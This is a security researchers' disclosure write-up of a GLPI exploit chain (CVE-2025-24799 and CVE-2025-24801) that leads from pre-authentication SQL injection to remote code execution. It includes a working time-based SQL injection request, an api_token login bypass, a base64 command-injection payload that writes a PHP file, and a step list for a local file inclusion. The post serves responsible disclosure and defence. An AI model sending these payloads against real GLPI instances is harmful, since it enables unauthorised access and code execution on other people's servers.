Pre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801)
Wed 12 March 2025 by rz in Ambionics / Web Exploitation

Abstract

Several GLPI instances have been identified during Red Team engagements. The software is popular with French-speaking companies, some of those even expose their instances directly on the Internet. GLPI has been historically known to harbor multiple easy-to-find vulnerabilities, and because it is often connected to an Active Directory, finding a vulnerability on this application for Red Team engagements or internal infrastructure audits could lead to initial access to the internal network and the recovery of an active directory account.

Pre-authenticated SQL injection

Multiple SQL injections on GLPI have been reported in the past. Most of them are considered to be post-authenticated and require an account to trigger the vulnerability (1) (3) (4). The ones accessible pre-authentication are quite rare (2) (5) and have been patched on the instances found during our external reconnaissance phase.

A new SQL injection has been found on the Inventory native feature of GLPI (which is commonly enabled). This feature is accessible without any required authentication mechanism.

At the time of this article's writing, 10.0.17 was the latest stable version, and it will be used as an example, but the vulnerability may affect previous versions.

handleAgent() - 10.0.17

The handleAgent function found in /src/Agent.php is an accessible pre-authentication function used by the GLPI agent for inventory purposes.

<?php
    public function handleAgent($metadata)
    {
        /** @var array $CFG_GLPI */
        global $CFG_GLPI;

        $deviceid = $metadata['deviceid'];

        $aid = false;
        if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) {
            $aid = $this->fields['id'];
        }

This function takes user inputs and stores them into variables such as $deviceid, then passed to the getFromDBByCrit function after going through a sanitizing function dbEscapeRecursive since 10.0.7.

dbEscapeRecursive() - 10.0.17

<?php
    public static function dbEscapeRecursive(array $values): array
    {
        return array_map(
            function ($value) {
                if (is_array($value)) {
                    return self::dbEscapeRecursive($value);
                }
                if (is_string($value)) {
                    return self::dbEscape($value);
                }
                return $value;
            },
            $values
        );
    }

This function takes an array as input and recursively calls dbEscape to escape its input, the vulnerability is easily catchable here. What if we could send a value that is neither an array nor a string?

handleRequest() - 10.0.17

In the handleRequest function used to parse agent requests, it is possible to perform an agent request using two methods, XML and JSON.

<?php
        switch ($this->mode) {
            case self::XML_MODE:
                return $this->handleXMLRequest($data);
            case self::JSON_MODE:
                return $this->handleJSONRequest($data);
        }

While the JSON_MODE only performs a quick json_decode, it can only create string, array, integer, and stdClass objects (which does not properly have a __toString function). The XML_MODE however creates a SimpleXMLElement object from the user input.

<?php
    public function handleXMLRequest($data): bool
    {
        libxml_use_internal_errors(true);

        if (mb_detect_encoding($data, 'UTF-8', true) === false) {
            $data = iconv('ISO-8859-1', 'UTF-8', $data);
        }
        $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);

This is the perfect candidate to bypass the dbEscapeRecursive function, as it is an object that can be converted to a string easily.

php > $xml = simplexml_load_string('<test>a</test>');
php > var_dump($xml);
object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(1) "a"
}
php > var_dump($xml."toString");
string(9) "atoString"

Final request

To exploit this vulnerability, an XML request to the agent request endpoint is crafted and leads to an SQL injection exploitable using a simple time-based attack.

POST /index.php/ajax/ HTTP/1.1
Host: glpi
User-Agent: python-requests/2.32.3
Content-Type: application/xml
Content-Length: 232

<?xml version="1.0" encoding="UTF-8"?>
    <xml>
    <QUERY>get_params</QUERY>
    <deviceid>', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#</deviceid>
    <content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>
</xml>

Using this simple request, the server sleeps for 5 seconds due to the 1=1 condition being true. It is now possible to extract any data from the database using the privileges of the current GLPI database user.

The request took 5 seconds, the SQL query has been properly injected.

It is important to note that the structure of the database changes from one version to another. The number of columns in the query above may therefore be different.

Leveraging the database read to an authentication bypass

Now that read privileges to the database have been acquired, multiple ways exist to gain a valid session. The obvious one is recovering accounts from the database and attempting a password crack. However, with the passwords being stored using bcrypt, it could be a challenge to recover the clear text of a technician or super-administrator account.

api_token

If the api_token of an account is set in the database, this can be used to easily obtain a valid session and gain access to the GUI of GLPI through the API authentication method.

<?php
POST /glpi/front/login.php HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 212
Origin: http://<redacted>
Connection: keep-alive
Referer: http://<redacted>/glpi/index.php

redirect=&_glpi_csrf_token=<redacted>&field<redacted>=test&field<redacted>=test&auth=local&submit=&user_token=<api_token>

The server then answers with a valid cookie that can be used to access the GUI.

Set-Cookie: glpi_<redacted>=<redacted>; path=/

personal_token

This token is used in the calendar feature and allows you to share a personal calendar using a unique token. This token uses the Session::authWithToken method to authenticate a session, then destroy the session after printing the user's calendar.

Previously, it was possible to recover the impersonated session using a personal_token by forcing a fatal error before the script ends its execution. This has been mitigated since 10.0.9 by setting the option session.use_cookies to 0.

Authenticated remote code execution

Method 1: Marketplace

The easiest method to obtain remote code execution once an administrator account has been compromised is to go to the plugins Marketplace. It used to even host a "Shell commands" plugin that has since been disabled for remote installations, however, there are still plenty of vulnerable plugins.

Sometimes, the GLPI server does not have direct internet access, however, a proxy server can be configured from the administration interface, this can be leveraged by an attacker for example by setting up their own proxy server or by configuring the internal corporate proxy.

For example, the public plugin printercounters is still vulnerable to a system command injection.

POST /glpi/marketplace/printercounters/ajax/process.php HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Glpi-Csrf-Token: <redacted>
X-Requested-With: XMLHttpRequest
Content-Length: 266
Connection: keep-alive
Referer: http://<redacted>/glpi/marketplace/printercounters/front/config.form.php
Cookie: glpi_<redacted>=<redacted>; stay_login=0

action=killProcess&items_id=1231231';echo `{echo,PD9waHAgcGhwaW5mbygpOyA/Pg%3d%3d}|{base64,-d}|{tee,rz.php}`;%23

Method 2: Local File Inclusion - 10.0.17

A local file inclusion has also been identified in the PDF export functionality. This functionality allows an administrator to export various tables to PDF format using the library TCPDF. It is possible to set up a custom PDF font in the configuration entry pdffont (changed globally through a super-admin account, or by any account through their personnalization options inside their user profile), which is not properly checked for directory traversal, either from the GLPI or TCPDF side.

PDF fonts are simply php files stored inside the TCPDF fonts folder, due to this issue it is possible to include any PHP files from the system if the font name is controlled.

<?php
        if (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) {
            // build a standard filenames for specified font
            $tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php';
            $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
            if (TCPDF_STATIC::empty_string($fontfile)) {
                $missing_style = true;
                // try to remove the style part
                $tmp_fontfile = str_replace(' ', '', $family).'.php';
                $fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
            }
        }
        // include font file
        if (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) {
            $type=null;
            $name=null;
            $desc=null;
            $up=-null;
            $ut=null;
            $cw=null;
            $cbbox=null;
            $dw=null;
            $enc=null;
            $cidinfo=null;
            $file=null;
            $ctg=null;
            $diff=null;
            $originalsize=null;
            $size1=null;
            $size2=null;
            include($fontfile);

To exploit this vulnerability, a few preliminary steps are necessary. By default, php files are not allowed to be uploaded in GLPI, but this list can be altered by going to the Dropdown option "Document types" accessible at /front/documenttype.php. Then, the path to the GLPI_TMP_DIR folder needs to be obtained, this information is available in /front/config.form.php, once it has been obtained, a simple file upload can be performed through /ajax/fileupload.php (available on most forms of GLPI).

PHP is added to the allowed file extensions.

In summary:

  • Update the Document Type dropdown list to allow php extensions
  • Recover the GLPI_TMP_DIR location from /front/config.form.php
  • Upload a PHP file using /ajax/fileupload.php
  • Set the pdffont configuration to ../../../../../../../../{GLPI_TMP_DIR}/uploadedfile
  • Trigger the local file inclusion by exporting a table to PDF, for example /front/report.dynamic.php?item_type=Computer&sort%5B0%5D=1&order%5B0%5D=ASC&start=0&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Blink%5D=contains&criteria%5B0%5D%5Bvalue%5D=&display_type=2

Remote code execution has been achieved

Conclusion

The inventory feature in GLPI is vulnerable to an unauthenticated SQL injection. While this feature is not enabled by default, it was enabled in most, if not all, installations we encountered during our Red Team assessments.

By exploiting this vulnerability, it is possible to obtain a valid GUI session through the api_token or personal_token columns in database which are stored in clear text if these have been previously set up.

Once authenticated, it is possible to exploit a local file inclusion vulnerability using the PDF export feature and achieve remote code execution on vulnerable instances.

Timeline

  • 2024-12-25 - Discovery of the vulnerability
  • 2025-01-28 - Report of the vulnerability through Github Advisories
  • 2025-01-28 - GLPI validates the report and assigns CVE-2025-24801 (exécution de code à distance)
  • 2025-01-28 - GLPI validates the report and assigns CVE-2025-24799 (injection SQL)
  • 2025-02-12 - Release patched version 10.0.18
  • 2025-03-12 - Article released

Resources

Content
20 minutes reading
#lfi #php #rce #sql
Thanks for reading!

Feel free to check our other publications